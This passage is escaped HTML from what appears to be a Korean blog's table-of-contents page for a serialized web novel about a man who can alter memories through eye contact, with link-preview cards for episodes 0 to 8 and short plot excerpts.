srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQtI74%2FdJMb99ZGvHn%2FR648pYHvo6441H4Lu6CwP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;576&quot; height=&quot;589&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;965&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;목차&amp;nbsp;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;&amp;nbsp;&lt;/li&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://thepin.tistory.com/201&quot;&gt;내 눈을 보면 안 돼 - 제0화&lt;/a&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1771393130740&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제0화&quot; data-og-description=&quot;《내 눈을 보면 안 돼》  로그라인(Logline)눈을 마주치면, 기억이 바뀐다.그러나 진짜 세상은 &amp;lsquo;기억 조작&amp;rsquo;으로는 바꿀 수 없었다.능력을 버린 한 남자가, 직장에서 &amp;lsquo;진짜 신뢰&amp;rsquo;와 &amp;lsquo;리더십&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/201&quot; data-og-url=&quot;https://thepin.tistory.com/201&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/hWeAM/dJMb9lk3Bdq/AHkVQzxtEXK3sczfTyjfK1/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/Xa05O/dJMb9g47AIY/BhUiVjUt1MsKlIXxami7bK/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/dFJi2s/dJMb895Z13x/vtas5rR1O4BqcW8KozO5e1/img.png?width=1024&amp;amp;height=944&amp;amp;face=308_204_482_394&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/201&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/201&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/hWeAM/dJMb9lk3Bdq/AHkVQzxtEXK3sczfTyjfK1/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/Xa05O/dJMb9g47AIY/BhUiVjUt1MsKlIXxami7bK/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/dFJi2s/dJMb895Z13x/vtas5rR1O4BqcW8KozO5e1/img.png?width=1024&amp;amp;height=944&amp;amp;face=308_204_482_394');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제0화&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;《내 눈을 보면 안 돼》  로그라인(Logline)눈을 마주치면, 기억이 바뀐다.그러나 진짜 세상은 &amp;lsquo;기억 조작&amp;rsquo;으로는 바꿀 수 없었다.능력을 버린 한 남자가, 직장에서 &amp;lsquo;진짜 신뢰&amp;rsquo;와 &amp;lsquo;리더십&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://thepin.tistory.com/202&quot;&gt;제1화. 눈의 기억&lt;/a&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1771392731349&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제1화. 눈의 기억&quot; data-og-description=&quot;제1화. 눈의 기억쿵. 쿵. 쿵.심장이 멋대로 날뛰었다. 폐가 찢어질 것 같았다.운동장 트랙을 반 바퀴도 채 돌지 못했는데, 목구멍에서 비릿한 쇠 맛이 났다. 아이들의 함성 소리가 아득하게 멀어&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/202&quot; data-og-url=&quot;https://thepin.tistory.com/202&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/hbaU9/dJMb8QeiDtD/VgedSDBBFZhK7ec9OVakn0/img.png?width=800&amp;amp;height=800&amp;amp;face=352_148_423_225,https://scrap.kakaocdn.net/dn/bb822I/dJMb8RROk4G/KfiuVLfxh5DFKsYGThmkV0/img.png?width=800&amp;amp;height=800&amp;amp;face=352_148_423_225,https://scrap.kakaocdn.net/dn/dQoP0D/dJMb8ZvxRLq/ZHDdsCOMHwaisJiotUPdU0/img.png?width=1024&amp;amp;height=944&amp;amp;face=451_187_543_287&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/202&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/202&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/hbaU9/dJMb8QeiDtD/VgedSDBBFZhK7ec9OVakn0/img.png?width=800&amp;amp;height=800&amp;amp;face=352_148_423_225,https://scrap.kakaocdn.net/dn/bb822I/dJMb8RROk4G/KfiuVLfxh5DFKsYGThmkV0/img.png?width=800&amp;amp;height=800&amp;amp;face=352_148_423_225,https://scrap.kakaocdn.net/dn/dQoP0D/dJMb8ZvxRLq/ZHDdsCOMHwaisJiotUPdU0/img.png?width=1024&amp;amp;height=944&amp;amp;face=451_187_543_287');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제1화. 눈의 기억&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제1화. 눈의 기억쿵. 쿵. 쿵.심장이 멋대로 날뛰었다. 폐가 찢어질 것 같았다.운동장 트랙을 반 바퀴도 채 돌지 못했는데, 목구멍에서 비릿한 쇠 맛이 났다. 아이들의 함성 소리가 아득하게 멀어&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://thepin.tistory.com/203&quot;&gt;제2화. 면접의 시선&lt;/a&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1771392755967&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제2화. 면접의 시선&quot; data-og-description=&quot;제2화. 면접의 시선스물여섯. 대학 졸업장은 땄지만, 내 몸은 여전히 열여덟 그 시절에서 크게 자라지 못한 것 같았다.그랬다. 내 능력은 사람의 기억을 속일 수는 있어도, 시스템의 붕괴를 막지&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/203&quot; data-og-url=&quot;https://thepin.tistory.com/203&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/brHcF8/dJMb8ZvxRLF/mm1IhNvI181Y4prK1gTBEK/img.png?width=800&amp;amp;height=800&amp;amp;face=308_186_710_430,https://scrap.kakaocdn.net/dn/bqBIiA/dJMb8XkbOTo/jGGkAzif3GHtgZt2Fex1V1/img.png?width=800&amp;amp;height=800&amp;amp;face=308_186_710_430,https://scrap.kakaocdn.net/dn/n6SwX/dJMb8UHLBEx/23kmnAMCXs3W8QopeKh1E0/img.png?width=1024&amp;amp;height=947&amp;amp;face=406_227_908_548&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/203&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/203&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/brHcF8/dJMb8ZvxRLF/mm1IhNvI181Y4prK1gTBEK/img.png?width=800&amp;amp;height=800&amp;amp;face=308_186_710_430,https://scrap.kakaocdn.net/dn/bqBIiA/dJMb8XkbOTo/jGGkAzif3GHtgZt2Fex1V1/img.png?width=800&amp;amp;height=800&amp;amp;face=308_186_710_430,https://scrap.kakaocdn.net/dn/n6SwX/dJMb8UHLBEx/23kmnAMCXs3W8QopeKh1E0/img.png?width=1024&amp;amp;height=947&amp;amp;face=406_227_908_548');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제2화. 면접의 시선&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제2화. 면접의 시선스물여섯. 대학 졸업장은 땄지만, 내 몸은 여전히 열여덟 그 시절에서 크게 자라지 못한 것 같았다.그랬다. 내 능력은 사람의 기억을 속일 수는 있어도, 시스템의 붕괴를 막지&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://thepin.tistory.com/204&quot;&gt;제3화. 첫 출근의 불안&lt;/a&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1771392767142&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제3화. 첫 출근의 불안&quot; data-og-description=&quot;제3화. 첫 출근의 불안넥솔브의 아침은 전쟁터였다.엘리베이터 앞에 길게 늘어선 줄, 한 손에 커피를 들고 바쁘게 사원증을 찍는 사람들. 그 활기차고 치열한 풍경 속에 나, 이한결이 서 있었다.&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/204&quot; data-og-url=&quot;https://thepin.tistory.com/204&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/b41is7/dJMb82Mzvj6/7YdbZKL65KhH3K0qgQEIV1/img.png?width=800&amp;amp;height=730&amp;amp;face=0_0_800_730,https://scrap.kakaocdn.net/dn/bJJn8q/dJMb87f2QB4/lkPWib2uvAACukx9OazfPK/img.png?width=800&amp;amp;height=730&amp;amp;face=0_0_800_730,https://scrap.kakaocdn.net/dn/pmVeo/dJMb88eW4qd/7w938qH2EzErFuNeFmzbl0/img.png?width=1024&amp;amp;height=935&amp;amp;face=0_0_1024_935&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/204&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/204&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/b41is7/dJMb82Mzvj6/7YdbZKL65KhH3K0qgQEIV1/img.png?width=800&amp;amp;height=730&amp;amp;face=0_0_800_730,https://scrap.kakaocdn.net/dn/bJJn8q/dJMb87f2QB4/lkPWib2uvAACukx9OazfPK/img.png?width=800&amp;amp;height=730&amp;amp;face=0_0_800_730,https://scrap.kakaocdn.net/dn/pmVeo/dJMb88eW4qd/7w938qH2EzErFuNeFmzbl0/img.png?width=1024&amp;amp;height=935&amp;amp;face=0_0_1024_935');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제3화. 첫 출근의 불안&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제3화. 첫 출근의 불안넥솔브의 아침은 전쟁터였다.엘리베이터 앞에 길게 늘어선 줄, 한 손에 커피를 들고 바쁘게 사원증을 찍는 사람들. 그 활기차고 치열한 풍경 속에 나, 이한결이 서 있었다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://thepin.tistory.com/206&quot;&gt;제4화. 점심시간의 갈등&lt;/a&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1771392783607&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제4화. 점심시간의 갈등&quot; data-og-description=&quot;제4화. 점심시간의 갈등직장인에게 점심시간은 유일한 해방구라지만, 신입 사원인 내게는 업무의 연장선일 뿐이었다.&amp;ldquo;한결 씨는 메뉴 뭐 먹을래요?&amp;rdquo;&amp;ldquo;아, 저는 아무거나 괜찮습니다.&amp;rdquo;회사 &quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/206&quot; data-og-url=&quot;https://thepin.tistory.com/206&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bjEEt6/dJMb8XR116Y/LAPHM0hODjw0iTaMsSq6r0/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/dzHoJe/dJMb86OYfJ4/5LeG8IIiaVms6Al9pm8Mlk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/cdajDX/dJMb88F1j9d/6K1Q47mVLnRUmgv0xl82Ck/img.png?width=941&amp;amp;height=1024&amp;amp;face=0_0_941_1024&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/206&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/206&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bjEEt6/dJMb8XR116Y/LAPHM0hODjw0iTaMsSq6r0/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/dzHoJe/dJMb86OYfJ4/5LeG8IIiaVms6Al9pm8Mlk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/cdajDX/dJMb88F1j9d/6K1Q47mVLnRUmgv0xl82Ck/img.png?width=941&amp;amp;height=1024&amp;amp;face=0_0_941_1024');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제4화. 점심시간의 갈등&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제4화. 점심시간의 갈등직장인에게 점심시간은 유일한 해방구라지만, 신입 사원인 내게는 업무의 연장선일 뿐이었다.&amp;ldquo;한결 씨는 메뉴 뭐 먹을래요?&amp;rdquo;&amp;ldquo;아, 저는 아무거나 괜찮습니다.&amp;rdquo;회사&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://thepin.tistory.com/205&quot;&gt;제4.5화. 틈새의 악의&lt;/a&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://thepin.tistory.com/207&quot;&gt;제5화. 데이터와 진심&lt;/a&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1771392810684&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제5화. 데이터와 진심&quot; data-og-description=&quot;제5화. 데이터와 진심점심시간의 소동 이후, 나는 투명 인간이 되기로 자처했다.도수 없는 블루라이트 차단 안경을 썼다. 그것은 내 눈을 가리는 얇은 방패이자, 세상과의 단절을 선언하는 벽이&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/207&quot; data-og-url=&quot;https://thepin.tistory.com/207&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bvapNT/dJMb8QL8pZU/lQrx5Y84Ko35nSynnnXrIk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/dgeZDD/dJMb8QeiDun/pzGdb55qqkBSmU6J0YVZ20/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/C4jgt/dJMb8QL8pZV/uuHDBjDNsFwK8TJmcWsj41/img.png?width=1024&amp;amp;height=945&amp;amp;face=0_0_1024_945&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/207&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/207&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bvapNT/dJMb8QL8pZU/lQrx5Y84Ko35nSynnnXrIk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/dgeZDD/dJMb8QeiDun/pzGdb55qqkBSmU6J0YVZ20/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/C4jgt/dJMb8QL8pZV/uuHDBjDNsFwK8TJmcWsj41/img.png?width=1024&amp;amp;height=945&amp;amp;face=0_0_1024_945');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제5화. 데이터와 진심&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제5화. 데이터와 진심점심시간의 소동 이후, 나는 투명 인간이 되기로 자처했다.도수 없는 블루라이트 차단 안경을 썼다. 그것은 내 눈을 가리는 얇은 방패이자, 세상과의 단절을 선언하는 벽이&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://thepin.tistory.com/208&quot;&gt;제6화. 불신의 그림자&lt;/a&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1771392832099&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제6화. 불신의 그림자&quot; data-og-description=&quot;제6화. 불신의 그림자파이썬 자동화 스크립트 덕분에 나는 팀 내에서 &amp;lsquo;일 잘하는 신입&amp;rsquo;으로 자리를 잡아가고 있었다. 하지만 아이러니하게도, 업무 능력이 빛을 발할수록 나를 둘러싼 그림자&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/208&quot; data-og-url=&quot;https://thepin.tistory.com/208&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/J20y5/dJMb87f2QBO/M3v3hSq8q3uFJwYNd12ic0/img.png?width=800&amp;amp;height=738&amp;amp;face=378_228_410_263,https://scrap.kakaocdn.net/dn/2XzrU/dJMb8865jM2/DaU1Zk3osCaKB6nMT8H250/img.png?width=800&amp;amp;height=738&amp;amp;face=378_228_410_263,https://scrap.kakaocdn.net/dn/bmw6jY/dJMb87f2QBN/6ch9IL7BJB7xuI1lrXvMLK/img.png?width=1024&amp;amp;height=945&amp;amp;face=483_289_534_345&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/208&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/208&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/J20y5/dJMb87f2QBO/M3v3hSq8q3uFJwYNd12ic0/img.png?width=800&amp;amp;height=738&amp;amp;face=378_228_410_263,https://scrap.kakaocdn.net/dn/2XzrU/dJMb8865jM2/DaU1Zk3osCaKB6nMT8H250/img.png?width=800&amp;amp;height=738&amp;amp;face=378_228_410_263,https://scrap.kakaocdn.net/dn/bmw6jY/dJMb87f2QBN/6ch9IL7BJB7xuI1lrXvMLK/img.png?width=1024&amp;amp;height=945&amp;amp;face=483_289_534_345');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제6화. 불신의 그림자&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제6화. 불신의 그림자파이썬 자동화 스크립트 덕분에 나는 팀 내에서 &amp;lsquo;일 잘하는 신입&amp;rsquo;으로 자리를 잡아가고 있었다. 하지만 아이러니하게도, 업무 능력이 빛을 발할수록 나를 둘러싼 그림자&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://thepin.tistory.com/209&quot;&gt;제7화. 오해의 대가&lt;/a&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1771392846809&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제7화. 오해의 대가&quot; data-og-description=&quot;제7화. 오해의 대가&amp;ldquo;이한결 씨, 지금 당장 보안팀으로 오세요.&amp;rdquo;내선 전화기 너머로 들려오는 보안팀장의 목소리는 얼음장처럼 차가웠다. 사무실의 모든 시선이 나에게 꽂혔다. 나는 마른침을 &quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/209&quot; data-og-url=&quot;https://thepin.tistory.com/209&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/L1Fnw/dJMb9cBExZ0/gUn4dOKy83RtiBkBoVBu10/img.png?width=800&amp;amp;height=800&amp;amp;face=373_337_423_390,https://scrap.kakaocdn.net/dn/5vTDX/dJMb9lL70kg/9yFRm6GyVtSVL8p9ApoMF0/img.png?width=800&amp;amp;height=800&amp;amp;face=373_337_423_390,https://scrap.kakaocdn.net/dn/ZRIA7/dJMb88eW4qn/8NxInTDzz7yDUsO0lXIzc1/img.png?width=1024&amp;amp;height=933&amp;amp;face=484_432_548_500&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/209&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/209&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/L1Fnw/dJMb9cBExZ0/gUn4dOKy83RtiBkBoVBu10/img.png?width=800&amp;amp;height=800&amp;amp;face=373_337_423_390,https://scrap.kakaocdn.net/dn/5vTDX/dJMb9lL70kg/9yFRm6GyVtSVL8p9ApoMF0/img.png?width=800&amp;amp;height=800&amp;amp;face=373_337_423_390,https://scrap.kakaocdn.net/dn/ZRIA7/dJMb88eW4qn/8NxInTDzz7yDUsO0lXIzc1/img.png?width=1024&amp;amp;height=933&amp;amp;face=484_432_548_500');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제7화. 오해의 대가&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제7화. 오해의 대가&amp;ldquo;이한결 씨, 지금 당장 보안팀으로 오세요.&amp;rdquo;내선 전화기 너머로 들려오는 보안팀장의 목소리는 얼음장처럼 차가웠다. 사무실의 모든 시선이 나에게 꽂혔다. 나는 마른침을&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://thepin.tistory.com/210&quot;&gt;제8화. 리더의 눈빛&lt;/a&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1771392914873&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제8화. 리더의 눈빛&quot; data-og-description=&quot;제8화. 리더의 눈빛&amp;ldquo;이번 QA 자동화 TF(Task Force), 이한결 대리가 리딩해봐.&amp;rdquo;박성우 팀장의 파격적인 제안이었다. 입사 1년 차, 그것도 온갖 구설수에 올랐던 내가 프로젝트 리더(PL)라니. 하지만 &quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/210&quot; data-og-url=&quot;https://thepin.tistory.com/210&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/beuKzh/dJMb9kl9fs7/6X2606ztV8XcDw7H4R3UK1/img.png?width=800&amp;amp;height=734&amp;amp;face=458_336_488_368,https://scrap.kakaocdn.net/dn/b5kiJC/dJMb9eTL5o6/PiCIbDSpIn3OZKzkUYkOt1/img.png?width=800&amp;amp;height=734&amp;amp;face=458_336_488_368,https://scrap.kakaocdn.net/dn/kmnnl/dJMb9kTZoNg/aAOg9gKS8CNJoAviPvhhck/img.png?width=1024&amp;amp;height=940&amp;amp;face=590_430_630_474&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/210&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/210&quot;&gt;
